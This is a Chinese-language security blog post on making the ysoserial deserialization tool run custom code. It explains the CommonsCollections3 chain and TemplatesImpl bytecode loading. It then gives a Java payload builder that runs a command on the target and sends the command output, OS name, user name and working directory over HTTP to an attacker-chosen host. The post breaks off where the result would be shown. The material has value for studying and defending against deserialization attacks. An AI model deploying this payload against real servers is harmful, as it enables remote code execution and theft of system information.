ysoserial之执行自定义代码
ysoserial是测试反序列化的工具,一般在测试成功后都会选择执行命令,实战过程中,执行命令可能会受阻,这种情况下,也许可以通过代码执行达到目的。
作用
1、受限环境下获取目标信息。
2、解决各个平台命令不一致。
3、实现更复杂的操作。
分析
命令执行本质上也是代码执行,先分析下,命令执行是怎么触发的,这里选择CommonsCollections3这个payload,这里为什么要使用链式结构,原因其实很简单,因为无论是表达式解析执行还是反序列化时,底层通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。
这里主要跟进Gadgets.createTemplatesImpl(command);,因为下面已经是利用链的构造,不涉及自定义代码的部分
这里templates是TemplatesImpl类的实例,使用这个类来加载恶意payload,为什么要使用这个类?因为TemplatesImpl类是一个可序列化的类,其中有一个属性_bytecodes,里面保存的数据在defineTransletClasses函数里将会被加载成类
获取一个ClassPool对象,将StubTransletPayload
类和AbstractTranslet
类添加到pool的类加载路径中,然后获取StubTransletPayload
类,自定义的代码会被插入这个类的构造函数中
将命令执行插入StubTransletPayload
类的构造函数中,设置父类AbstractTranslet
,然后生成字节码
设置TemplatesImpl对象的_name
,_tfactory
,_bytecodes
字段,将构造好的payload返回
ysoserial原本传进_bytecodes
字段的是很简单的代码,用于执行命令,现在将他扩展下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public static String getmessage(String url,String command) { String message = "try{\n" + " String cmd = \"\";\n" + " Process p = Runtime.getRuntime().exec(\""+ command +"\");\n" + " java.io.InputStream fis=p.getInputStream();\n" + " java.io.InputStreamReader isr=new java.io.InputStreamReader(fis,java.nio.charset.Charset.forName(\"GBK\"));\n" + " java.io.BufferedReader br=new java.io.BufferedReader(isr);\n" + " String line = null;\n" + " while(( line=br.readLine())!=null)\n" + " {\n" + " cmd = cmd + line ;\n" + " }\n" + "\n" + " String os = System.getProperty(\"os.name\");\n" + " String power = System.getProperty(\"user.name\");\n" + " String WEB_PATH = System.getProperty(\"user.dir\");\n" + " String url = \"http://" + url + "/info?os=\" + os +\"&path=\" + WEB_PATH + \"&power=\" + power + \"&cmd=\" + cmd;\n" + " java.net.URL urls = new java.net.URL(url);\n" + " java.net.URLConnection conn = urls.openConnection();\n" + " conn.connect();\n" + " conn.getContent();\n" + " }catch(Exception e){\n" + " }"; return message; }
|
实现效果: